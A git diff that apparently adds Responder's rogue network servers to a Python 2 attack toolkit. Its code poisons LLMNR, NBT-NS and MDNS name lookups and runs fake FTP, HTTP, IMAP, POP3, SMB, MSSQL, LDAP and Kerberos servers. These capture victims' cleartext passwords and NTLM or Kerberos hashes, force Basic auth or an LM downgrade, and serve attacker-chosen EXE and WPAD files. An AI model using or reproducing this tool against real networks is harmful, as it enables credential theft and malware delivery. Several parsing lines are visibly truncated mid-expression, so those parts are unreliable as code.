cursor.commit() + + cursor.close() + + # Print output + if count == 0 or settings.Config.Verbose: + + if len(result['client']): + print text("[%s] %s Client : %s" % (result['module'], result['type'], color(result['client'], 3))) + if len(result['hostname']): + print text("[%s] %s Hostname : %s" % (result['module'], result['type'], color(result['hostname'], 3))) + if len(result['user']): + print text("[%s] %s Username : %s" % (result['module'], result['type'], color(result['user'], 3))) + + # Bu order of priority, print cleartext, fullhash, or hash + if len(result['cleartext']): + print text("[%s] %s Password : %s" % (result['module'], result['type'], color(result['cleartext'], 3))) + elif len(result['fullhash']): + print text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['fullhash'], 3))) + elif len(result['hash']): + print text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['hash'], 3))) + + else: + print color('[*]', 2, 1), 'Skipping previously captured hash for %s' % result['user'] + + +def Parse_IPV6_Addr(data): + + if data[len(data)-4:len(data)][1] =="\x1c": + return False + + elif data[len(data)-4:len(data)] == "\x00\x01\x00\x01": + return True + + elif data[len(data)-4:len(data)] == "\x00\xff\x00\x01": + return True + + else: + return False + +def Decode_Name(nbname): + #From http://code.google.com/p/dpkt/ with author's permission. + try: + from string import printable + + if len(nbname) != 32: + return nbname + + l = [] + for i in range(0, 32, 2): + l.append(chr(((ord(nbname[i]) - 0x41) << 4) | ((ord(nbname[i+1]) - 0x41) & 0xf))) + + return filter(lambda x: x in printable, ''.join(l).split('\x00', 1)[0].replace(' ', '')) + + except: + return "Illegal NetBIOS name" + +def NBT_NS_Role(data): + Role = { + "\x41\x41\x00":"Workstation/Redirector", + "\x42\x4c\x00":"Domain Master Browser", + "\x42\x4d\x00":"Domain Controller", + "\x42\x4e\x00":"Local Master Browser", + "\x42\x4f\x00":"Browser Election", + "\x43\x41\x00":"File Server", + "\x41\x42\x00":"Browser", + } + + return Role[data] if data in Role else "Service not known" + +def banner(): + + banner = "\n".join([ + ' __', + ' .----.-----.-----.-----.-----.-----.--| |.-----.----.', + ' | _| -__|__ --| _ | _ | | _ || -__| _|', + ' |__| |_____|_____| __|_____|__|__|_____||_____|__|', + ' |__|' + ]) + + print banner + print "\n \033[1;33mNBT-NS, LLMNR & MDNS %s\033[0m" % settings.__version__ + print "" + print " Original work by Laurent Gaffie (lgaffie@trustwave.com)" + print " To kill this script hit CRTL-C" + print "" + +def StartupMessage(): + enabled = color('[ON]', 2, 1) + disabled = color('[OFF]', 1, 1) + + print "" + print color("[+] ", 2, 1) + "Poisoners:" + print ' %-27s' % "LLMNR" + enabled + print ' %-27s' % "NBT-NS" + enabled + print ' %-27s' % "DNS/MDNS" + enabled + print "" + + print color("[+] ", 2, 1) + "Servers:" + print ' %-27s' % "HTTP server" + (enabled if settings.Config.HTTP_On_Off else disabled) + print ' %-27s' % "HTTPS server" + (enabled if settings.Config.SSL_On_Off else disabled) + print ' %-27s' % "WPAD proxy" + (enabled if settings.Config.WPAD_On_Off else disabled) + print ' %-27s' % "SMB server" + (enabled if settings.Config.SMB_On_Off else disabled) + print ' %-27s' % "Kerberos server" + (enabled if settings.Config.Krb_On_Off else disabled) + print ' %-27s' % "SQL server" + (enabled if settings.Config.SQL_On_Off else disabled) + print ' %-27s' % "FTP server" + (enabled if settings.Config.FTP_On_Off else disabled) + print ' %-27s' % "IMAP server" + (enabled if settings.Config.IMAP_On_Off else disabled) + print ' %-27s' % "POP3 server" + (enabled if settings.Config.POP_On_Off else disabled) + print ' %-27s' % "SMTP server" + (enabled if settings.Config.SMTP_On_Off else disabled) + print ' %-27s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled) + print ' %-27s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled) + print "" + + print color("[+] ", 2, 1) + "HTTP Options:" + print ' %-27s' % "Always serving EXE" + (enabled if settings.Config.Serve_Always else disabled) + print ' %-27s' % "Serving EXE" + (enabled if settings.Config.Serve_Exe else disabled) + print ' %-27s' % "Serving HTML" + (enabled if settings.Config.Serve_Html else disabled) + print ' %-27s' % "Upstream Proxy" + (enabled if settings.Config.Upstream_Proxy else disabled) + #print ' %-27s' % "WPAD script" + settings.Config.WPAD_Script + print "" + + print color("[+] ", 2, 1) + "Poisoning Options:" + print ' %-27s' % "Analyze Mode" + (enabled if settings.Config.AnalyzeMode else disabled) + print ' %-27s' % "Force WPAD auth" + (enabled if settings.Config.Force_WPAD_Auth else disabled) + print ' %-27s' % "Force Basic Auth" + (enabled if settings.Config.Basic else disabled) + print ' %-27s' % "Force LM downgrade" + (enabled if settings.Config.LM_On_Off == True else disabled) + print ' %-27s' % "Fingerprint hosts" + (enabled if settings.Config.Finger_On_Off == True else disabled) + print "" + + print color("[+] ", 2, 1) + "Generic Options:" + print ' %-27s' % "Responder NIC" + color('[%s]' % settings.Config.Interface, 5, 1) + print ' %-27s' % "Responder IP" + color('[%s]' % settings.Config.Bind_To, 5, 1) + print ' %-27s' % "Challenge set" + color('[%s]' % settings.Config.NumChal, 5, 1) + + if settings.Config.Upstream_Proxy: + print ' %-27s' % "Upstream Proxy" + color('[%s]' % settings.Config.Upstream_Proxy, 5, 1) + + if len(settings.Config.RespondTo): + print ' %-27s' % "Respond To" + color(str(settings.Config.RespondTo), 5, 1) + + if len(settings.Config.RespondToName): + print ' %-27s' % "Respond To Names" + color(str(settings.Config.RespondToName), 5, 1) + + if len(settings.Config.DontRespondTo): + print ' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1) + + if len(settings.Config.DontRespondToName): + print ' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1) + + print "" + print "" + +# Useful for debugging +def hexdump(src, l=0x16): + res = [] + sep = '.' + src = str(src) + + for i in range(0, len(src), l): + s = src[i:i+l] + hexa = '' + + for h in range(0,len(s)): + if h == l/2: + hexa += ' ' + h = s[h] + if not isinstance(h, int): + h = ord(h) + h = hex(h).replace('0x','') + if len(h) == 1: + h = '0'+h + hexa += h + ' ' + + hexa = hexa.strip(' ') + text = '' + + for c in s: + if not isinstance(c, int): + c = ord(c) + + if 0x20 <= c < 0x7F: + text += chr(c) + else: + text += sep + + res.append(('%08X: %-'+str(l*(2+1)+1)+'s |%s|') % (i, hexa, text)) + + return '\n'.join(res) diff --git a/core/sergioproxy/README.md b/core/sergioproxy/README.md deleted file mode 100644 index 87a7a23..0000000 --- a/core/sergioproxy/README.md +++ /dev/null @@ -1,13 +0,0 @@ -Originally, sergio-proxy was a standalone implementation of a -transparent proxy using the Twisted networking framework -for Python. However, sslstrip uses almost *exactly* the -same interception method, so I decided to use sslstrip's -more mature libraries and try to provide a simple plugin -interface to grab the data. - -The only file that has been modified from sslstrip is the -ServerConnection.py file, from which we can hook at certain -important points during the intercept. - -Copyright 2011, Ben Schmidt -Released under the GPLv3 diff --git a/core/sergioproxy/__init__.py b/core/sergioproxy/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/core/servers/Browser.py b/core/servers/Browser.py new file mode 100644 index 0000000..a6aad30 --- /dev/null +++ b/core/servers/Browser.py @@ -0,0 +1,205 @@ +#!/usr/bin/env python +# This file is part of Responder +# Original work by Laurent Gaffie - Trustwave Holdings +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import socket +import struct + +from core.configwatcher import ConfigWatcher +from core.packets import SMBHeader, SMBNegoData, SMBSessionData, SMBTreeConnectData, RAPNetServerEnum3Data, SMBTransRAPData +from SocketServer import BaseRequestHandler +from core.utils import * + +def WorkstationFingerPrint(data): + Role = { + "\x04\x00" :"Windows 95", + "\x04\x10" :"Windows 98", + "\x04\x90" :"Windows ME", + "\x05\x00" :"Windows 2000", + "\x05\x00" :"Windows XP", + "\x05\x02" :"Windows 2003", + "\x06\x00" :"Windows Vista/Server 2008", + "\x06\x01" :"Windows 7/Server 2008R2", + } + + return Role[data] if data in Role else "Unknown" + +def RequestType(data): + Type = { + "\x01": 'Host Announcement', + "\x02": 'Request Announcement', + "\x08": 'Browser Election', + "\x09": 'Get Backup List Request', + "\x0a": 'Get Backup List Response', + "\x0b": 'Become Backup Browser', + "\x0c": 'Domain/Workgroup Announcement', + "\x0d": 'Master Announcement', + "\x0e": 'Reset Browser State Announcement', + "\x0f": 'Local Master Announcement', + } + + return Type[data] if data in Type else "Unknown" + +def PrintServerName(data, entries): + if entries > 0: + + entrieslen = 26*entries + chunks, chunk_size = len(data[:entrieslen]), entrieslen/entries + ServerName = [data[i:i+chunk_size] for i in range(0, chunks, chunk_size)] + + l = [] + for x in ServerName: + FP = WorkstationFingerPrint(x[16:18]) + Name = x[:16].replace('\x00', '') + + if FP: + l.append(Name + ' (%s)' % FP) + else: + l.append(Name) + + return l + + return None + +def ParsePacket(Payload): + PayloadOffset = struct.unpack('i", len(''.join(Packet))) + Packet + + s.send(Buffer) + data = s.recv(1024) + + # Session Setup AndX Request, Anonymous. + if data[8:10] == "\x72\x00": + Header = SMBHeader(cmd="\x73",mid="\x02\x00") + Body = SMBSessionData() + Body.calculate() + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet))) + Packet + + s.send(Buffer) + data = s.recv(1024) + + # Tree Connect IPC$. + if data[8:10] == "\x73\x00": + Header = SMBHeader(cmd="\x75",flag1="\x08", flag2="\x01\x00",uid=data[32:34],mid="\x03\x00") + Body = SMBTreeConnectData(Path="\\\\"+Host+"\\IPC$") + Body.calculate() + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet))) + Packet + + s.send(Buffer) + data = s.recv(1024) + + # Rap ServerEnum. + if data[8:10] == "\x75\x00": + Header = SMBHeader(cmd="\x25",flag1="\x08", flag2="\x01\xc8",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x04\x00") + Body = SMBTransRAPData(Data=RAPNetServerEnum3Data(ServerType=Type,DetailLevel="\x01\x00",TargetDomain=Domain)) + Body.calculate() + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet))) + Packet + + s.send(Buffer) + data = s.recv(64736) + + # Rap ServerEnum, Get answer and return what we're looking for. + if data[8:10] == "\x25\x00": + s.close() + return ParsePacket(data) + except: + pass + +def BecomeBackup(data,Client): + try: + DataOffset = struct.unpack('. +import os + +from core.utils import * +from SocketServer import BaseRequestHandler +from core.packets import FTPPacket + +class FTP(BaseRequestHandler): + def handle(self): + try: + self.request.send(str(FTPPacket())) + data = self.request.recv(1024) + + if data[0:4] == "USER": + User = data[5:].strip() + + Packet = FTPPacket(Code="331",Message="User name okay, need password.") + self.request.send(str(Packet)) + data = self.request.recv(1024) + + if data[0:4] == "PASS": + Pass = data[5:].strip() + + Packet = FTPPacket(Code="530",Message="User not logged in.") + self.request.send(str(Packet)) + data = self.request.recv(1024) + + SaveToDb({ + 'module': 'FTP', + 'type': 'Cleartext', + 'client': self.client_address[0], + 'user': User, + 'cleartext': Pass, + 'fullhash': User+':'+Pass + }) + + else: + Packet = FTPPacket(Code="502",Message="Command not implemented.") + self.request.send(str(Packet)) + data = self.request.recv(1024) + + except Exception: + pass \ No newline at end of file diff --git a/core/servers/HTTP.py b/core/servers/HTTP.py new file mode 100644 index 0000000..6a71471 --- /dev/null +++ b/core/servers/HTTP.py @@ -0,0 +1,292 @@ +#!/usr/bin/env python +# This file is part of Responder +# Original work by Laurent Gaffie - Trustwave Holdings +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import os +import struct +import core.responder.settings + +from SocketServer import BaseServer, BaseRequestHandler, StreamRequestHandler, ThreadingMixIn, TCPServer +from base64 import b64decode, b64encode +from core.responder.utils import * + +from core.responder.packets import NTLM_Challenge +from core.responder.packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans +from core.responder.packets import WPADScript, ServeExeFile, ServeHtmlFile + + +# Parse NTLMv1/v2 hash. +def ParseHTTPHash(data, client): + LMhashLen = struct.unpack(' 24: + NthashLen = 64 + DomainLen = struct.unpack(' 1 and settings.Config.Verbose: + print text("[HTTP] Cookie : %s " % Cookie) + return Cookie + else: + return False + +def GrabHost(data, host): + Host = re.search('(Host:*.\=*)[^\r\n]*', data) + + if Host: + Host = Host.group(0).replace('Host: ', '') + if settings.Config.Verbose: + print text("[HTTP] Host : %s " % color(Host, 3)) + return Host + else: + return False + +def WpadCustom(data, client): + Wpad = re.search('(/wpad.dat|/*\.pac)', data) + if Wpad: + Buffer = WPADScript(Payload=settings.Config.WPAD_Script) + Buffer.calculate() + return str(Buffer) + else: + return False + +def ServeFile(Filename): + with open (Filename, "rb") as bk: + data = bk.read() + bk.close() + return data + +def RespondWithFile(client, filename, dlname=None): + + if filename.endswith('.exe'): + Buffer = ServeExeFile(Payload = ServeFile(filename), ContentDiFile=dlname) + else: + Buffer = ServeHtmlFile(Payload = ServeFile(filename)) + + Buffer.calculate() + print text("[HTTP] Sending file %s to %s" % (filename, client)) + + return str(Buffer) + +def GrabURL(data, host): + GET = re.findall('(?<=GET )[^HTTP]*', data) + POST = re.findall('(?<=POST )[^HTTP]*', data) + POSTDATA = re.findall('(?<=\r\n\r\n)[^*]*', data) + + if GET and settings.Config.Verbose: + print text("[HTTP] GET request from: %-15s URL: %s" % (host, color(''.join(GET), 5))) + + if POST and settings.Config.Verbose: + print text("[HTTP] POST request from: %-15s URL: %s" % (host, color(''.join(POST), 5))) + if len(''.join(POSTDATA)) > 2: + print text("[HTTP] POST Data: %s" % ''.join(POSTDATA).strip()) + +# Handle HTTP packet sequence. +def PacketSequence(data, client): + NTLM_Auth = re.findall('(?<=Authorization: NTLM )[^\\r]*', data) + Basic_Auth = re.findall('(?<=Authorization: Basic )[^\\r]*', data) + + # Serve the .exe if needed + if settings.Config.Serve_Always == True or (settings.Config.Serve_Exe == True and re.findall('.exe', data)): + return RespondWithFile(client, settings.Config.Exe_Filename, settings.Config.Exe_DlName) + + # Serve the custom HTML if needed + if settings.Config.Serve_Html == True: + return RespondWithFile(client, settings.Config.Html_Filename) + + WPAD_Custom = WpadCustom(data, client) + + if NTLM_Auth: + Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9] + + if Packet_NTLM == "\x01": + GrabURL(data, client) + GrabHost(data, client) + GrabCookie(data, client) + + Buffer = NTLM_Challenge(ServerChallenge=settings.Config.Challenge) + Buffer.calculate() + + Buffer_Ans = IIS_NTLM_Challenge_Ans() + Buffer_Ans.calculate(str(Buffer)) + + return str(Buffer_Ans) + + if Packet_NTLM == "\x03": + NTLM_Auth = b64decode(''.join(NTLM_Auth)) + ParseHTTPHash(NTLM_Auth, client) + + if settings.Config.Force_WPAD_Auth and WPAD_Custom: + print text("[HTTP] WPAD (auth) file sent to %s" % client) + return WPAD_Custom + + else: + Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) + Buffer.calculate() + return str(Buffer) + + elif Basic_Auth: + ClearText_Auth = b64decode(''.join(Basic_Auth)) + + GrabURL(data, client) + GrabHost(data, client) + GrabCookie(data, client) + + SaveToDb({ + 'module': 'HTTP', + 'type': 'Basic', + 'client': client, + 'user': ClearText_Auth.split(':')[0], + 'cleartext': ClearText_Auth.split(':')[1], + }) + + if settings.Config.Force_WPAD_Auth and WPAD_Custom: + if settings.Config.Verbose: + print text("[HTTP] WPAD (auth) file sent to %s" % client) + return WPAD_Custom + + else: + Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) + Buffer.calculate() + return str(Buffer) + + else: + if settings.Config.Basic == True: + Response = IIS_Basic_401_Ans() + if settings.Config.Verbose: + print text("[HTTP] Sending BASIC authentication request to %s" % client) + + else: + Response = IIS_Auth_401_Ans() + if settings.Config.Verbose: + print text("[HTTP] Sending NTLM authentication request to %s" % client) + + return str(Response) + +# HTTP Server class +class HTTP(BaseRequestHandler): + + def handle(self): + try: + while True: + self.request.settimeout(1) + data = self.request.recv(8092) + Buffer = WpadCustom(data, self.client_address[0]) + + if Buffer and settings.Config.Force_WPAD_Auth == False: + self.request.send(Buffer) + if settings.Config.Verbose: + print text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0]) + + else: + Buffer = PacketSequence(data,self.client_address[0]) + self.request.send(Buffer) + except socket.error: + pass + +# HTTPS Server class +class HTTPS(StreamRequestHandler): + def setup(self): + self.exchange = self.request + self.rfile = socket._fileobject(self.request, "rb", self.rbufsize) + self.wfile = socket._fileobject(self.request, "wb", self.wbufsize) + + def handle(self): + try: + while True: + data = self.exchange.recv(8092) + self.exchange.settimeout(0.5) + Buffer = WpadCustom(data,self.client_address[0]) + + if Buffer and settings.Config.Force_WPAD_Auth == False: + self.exchange.send(Buffer) + if settings.Config.Verbose: + print text("[HTTPS] WPAD (no auth) file sent to %s" % self.client_address[0]) + + else: + Buffer = PacketSequence(data,self.client_address[0]) + self.exchange.send(Buffer) + except: + pass + +# SSL context handler +class SSLSock(ThreadingMixIn, TCPServer): + def __init__(self, server_address, RequestHandlerClass): + from OpenSSL import SSL + + BaseServer.__init__(self, server_address, RequestHandlerClass) + ctx = SSL.Context(SSL.SSLv3_METHOD) + + cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert) + key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey) + + ctx.use_privatekey_file(key) + ctx.use_certificate_file(cert) + + self.socket = SSL.Connection(ctx, socket.socket(self.address_family, self.socket_type)) + self.server_bind() + self.server_activate() + + def shutdown_request(self,request): + try: + request.shutdown() + except: + pass diff --git a/core/servers/IMAP.py b/core/servers/IMAP.py new file mode 100644 index 0000000..c0ae12b --- /dev/null +++ b/core/servers/IMAP.py @@ -0,0 +1,55 @@ +#!/usr/bin/env python +# This file is part of Responder +# Original work by Laurent Gaffie - Trustwave Holdings +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import os +import settings + +from utils import * +from SocketServer import BaseRequestHandler +from packets import IMAPGreeting, IMAPCapability, IMAPCapabilityEnd + +# IMAP4 Server class +class IMAP(BaseRequestHandler): + + def handle(self): + try: + self.request.send(str(IMAPGreeting())) + data = self.request.recv(1024) + + if data[5:15] == "CAPABILITY": + RequestTag = data[0:4] + self.request.send(str(IMAPCapability())) + self.request.send(str(IMAPCapabilityEnd(Tag=RequestTag))) + data = self.request.recv(1024) + + if data[5:10] == "LOGIN": + Credentials = data[10:].strip() + + SaveToDb({ + 'module': 'IMAP', + 'type': 'Cleartext', + 'client': self.client_address[0], + 'user': Credentials[0], + 'cleartext': Credentials[1], + 'fullhash': Credentials[0]+":"+Credentials[1], + }) + + ## FIXME: Close connection properly + ## self.request.send(str(ditchthisconnection())) + ## data = self.request.recv(1024) + + except Exception: + pass \ No newline at end of file diff --git a/core/servers/smb/KarmaSMB.py b/core/servers/KarmaSMB.py similarity index 100% rename from core/servers/smb/KarmaSMB.py rename to core/servers/KarmaSMB.py diff --git a/core/servers/Kerberos.py b/core/servers/Kerberos.py new file mode 100644 index 0000000..b3ac4bf --- /dev/null +++ b/core/servers/Kerberos.py @@ -0,0 +1,159 @@ +#!/usr/bin/env python +# This file is part of Responder +# Original work by Laurent Gaffie - Trustwave Holdings +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import os +import struct +import settings + +from SocketServer import BaseRequestHandler +from utils import * + +def ParseMSKerbv5TCP(Data): + MsgType = Data[21:22] + EncType = Data[43:44] + MessageType = Data[32:33] + + if MsgType == "\x0a" and EncType == "\x17" and MessageType =="\x02": + if Data[49:53] == "\xa2\x36\x04\x34" or Data[49:53] == "\xa2\x35\x04\x33": + HashLen = struct.unpack('. +import os +import struct +import settings + +from SocketServer import BaseRequestHandler +from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge +from utils import * + +def ParseSearch(data): + Search1 = re.search('(objectClass)', data) + Search2 = re.search('(?i)(objectClass0*.*supportedCapabilities)', data) + Search3 = re.search('(?i)(objectClass0*.*supportedSASLMechanisms)', data) + + if Search1: + return str(LDAPSearchDefaultPacket(MessageIDASNStr=data[8:9])) + if Search2: + return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9])) + if Search3: + return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9])) + +def ParseLDAPHash(data, client): + SSPIStart = data[42:] + LMhashLen = struct.unpack(' 10: + LMhashOffset = struct.unpack('i',data[2:6])[0] + MessageSequence = struct.unpack('i',data[11:15])[0] + LDAPVersion = struct.unpack('. +import os +import struct +import settings + +from SocketServer import BaseRequestHandler +from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer +from utils import * + +class TDS_Login_Packet(): + def __init__(self, data): + + ClientNameOff = struct.unpack(' 60: + WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:]) + + SaveToDb({ + 'module': 'MSSQL', + 'type': 'NTLMv2', + 'client': client, + 'user': Domain+'\\'+User, + 'hash': NTHash[:32]+":"+NTHash[32:], + 'fullhash': WriteHash, + }) + +def ParseSqlClearTxtPwd(Pwd): + Pwd = map(ord,Pwd.replace('\xa5','')) + Pw = [] + for x in Pwd: + Pw.append(hex(x ^ 0xa5)[::-1][:2].replace("x","0").decode('hex')) + return ''.join(Pw) + +def ParseClearTextSQLPass(data, client): + + TDS = TDS_Login_Packet(data) + + SaveToDb({ + 'module': 'MSSQL', + 'type': 'Cleartext', + 'client': client, + 'hostname': "%s (%s)" % (TDS.ServerName, TDS.DatabaseName), + 'user': TDS.UserName, + 'cleartext': ParseSqlClearTxtPwd(TDS.Password), + 'fullhash': TDS.UserName +':'+ ParseSqlClearTxtPwd(TDS.Password), + }) + +# MSSQL Server class +class MSSQL(BaseRequestHandler): + + def handle(self): + if settings.Config.Verbose: + print text("[MSSQL] Received connection from %s" % self.client_address[0]) + + try: + while True: + data = self.request.recv(1024) + self.request.settimeout(0.1) + + # Pre-Login Message + if data[0] == "\x12": + Buffer = str(MSSQLPreLoginAnswer()) + self.request.send(Buffer) + data = self.request.recv(1024) + + # NegoSSP + if data[0] == "\x10": + if re.search("NTLMSSP",data): + Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=settings.Config.Challenge) + Packet.calculate() + Buffer = str(Packet) + self.request.send(Buffer) + data = self.request.recv(1024) + + else: + ParseClearTextSQLPass(data,self.client_address[0]) + + # NegoSSP Auth + if data[0] == "\x11": + ParseSQLHash(data,self.client_address[0]) + + except socket.timeout: + pass + self.request.close() \ No newline at end of file diff --git a/core/servers/POP3.py b/core/servers/POP3.py new file mode 100644 index 0000000..5bdfa7e --- /dev/null +++ b/core/servers/POP3.py @@ -0,0 +1,60 @@ +#!/usr/bin/env python +# This file is part of Responder +# Original work by Laurent Gaffie - Trustwave Holdings +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import os +import settings + +from utils import * +from SocketServer import BaseRequestHandler +from packets import POPOKPacket + +# POP3 Server class +class POP3(BaseRequestHandler): + + def SendPacketAndRead(self): + Packet = POPOKPacket() + self.request.send(str(Packet)) + data = self.request.recv(1024) + + return data + + def handle(self): + try: + data = self.SendPacketAndRead() + + if data[0:4] == "USER": + User = data[5:].replace("\r\n","") + data = self.SendPacketAndRead() + + if data[0:4] == "PASS": + Pass = data[5:].replace("\r\n","") + + SaveToDb({ + 'module': 'POP3', + 'type': 'Cleartext', + 'client': self.client_address[0], + 'user': User, + 'cleartext': Pass, + 'fullhash': User+":"+Pass, + }) + + data = self.SendPacketAndRead() + + else: + data = self.SendPacketAndRead() + + except Exception: + pass \ No newline at end of file diff --git a/core/servers/SMB.py b/core/servers/SMB.py new file mode 100644 index 0000000..2b5394c --- /dev/null +++ b/core/servers/SMB.py @@ -0,0 +1,421 @@ +#!/usr/bin/env python +# This file is part of Responder +# Original work by Laurent Gaffie - Trustwave Holdings +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import struct +import core.responder.settings as settings +import threading +import socket +from traceback import print_exc + +from random import randrange +from core.responder.packets import SMBHeader, SMBNegoAnsLM, SMBNegoAns, SMBNegoKerbAns, SMBSession1Data, SMBSession2Accept, SMBSessEmpty, SMBTreeData +from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer +from core.responder.utils import * + +class SMB: + + def start(self): + try: + if OsInterfaceIsSupported(): + server1 = ThreadingTCPServer((settings.Config.Bind_To, 445), SMB1) + server2 = ThreadingTCPServer((settings.Config.Bind_To, 139), SMB1) + else: + server1 = ThreadingTCPServer(('', 445), SMB1) + server2 = ThreadingTCPServer(('', 139), SMB1) + + for server in [server1, server2]: + t = threading.Thread(name='SMB', target=server.serve_forever) + t.setDaemon(True) + t.start() + except Exception as e: + print "Error starting SMB server: {}".format(e) + print_exc() + +class ThreadingTCPServer(ThreadingMixIn, TCPServer): + + allow_reuse_address = 1 + + def server_bind(self): + if OsInterfaceIsSupported(): + try: + self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0') + except: + pass + TCPServer.server_bind(self) + +# Detect if SMB auth was Anonymous +def Is_Anonymous(data): + SecBlobLen = struct.unpack(' 260: + LMhashLen = struct.unpack(' 60: + SMBHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper() + DomainLen = struct.unpack(' 25: + FullHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex') + LmHash = FullHash[:32].upper() + NtHash = FullHash[32:].upper() + WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, LmHash, NtHash) + + SaveToDb({ + 'module': 'SMB', + 'type': 'NTLMv2', + 'client': client, + 'user': Domain+'\\'+Username, + 'hash': NtHash, + 'fullhash': WriteHash, + }) + + if NthashLen == 24: + NtHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper() + LmHash = data[65:65+LMhashLen].encode('hex').upper() + WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LmHash, NtHash, settings.Config.NumChal) + + SaveToDb({ + 'module': 'SMB', + 'type': 'NTLMv1', + 'client': client, + 'user': Domain+'\\'+Username, + 'hash': NtHash, + 'fullhash': WriteHash, + }) + +def IsNT4ClearTxt(data, client): + HeadLen = 36 + + if data[14:16] == "\x03\x80": + SmbData = data[HeadLen+14:] + WordCount = data[HeadLen] + ChainedCmdOffset = data[HeadLen+1] + + if ChainedCmdOffset == "\x75": + PassLen = struct.unpack(' 2: + + Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","") + User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","") + print text("[SMB] Clear Text Credentials: %s:%s" % (User,Password)) + WriteData(settings.Config.SMBClearLog % client, User+":"+Password, User+":"+Password) + +# SMB Server class, NTLMSSP +class SMB1(BaseRequestHandler): + + def handle(self): + try: + while True: + data = self.request.recv(1024) + self.request.settimeout(1) + + if len(data) < 1: + break + + ##session request 139 + if data[0] == "\x81": + Buffer = "\x82\x00\x00\x00" + self.request.send(Buffer) + try: + data = self.request.recv(1024) + except: + pass + + # Negociate Protocol Response + if data[8:10] == "\x72\x00": + # \x72 == Negociate Protocol Response + Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data)) + Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data)) + Body.calculate() + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + + self.request.send(Buffer) + data = self.request.recv(1024) + + # Session Setup AndX Request + if data[8:10] == "\x73\x00": + IsNT4ClearTxt(data, self.client_address[0]) + + # STATUS_MORE_PROCESSING_REQUIRED + Header = 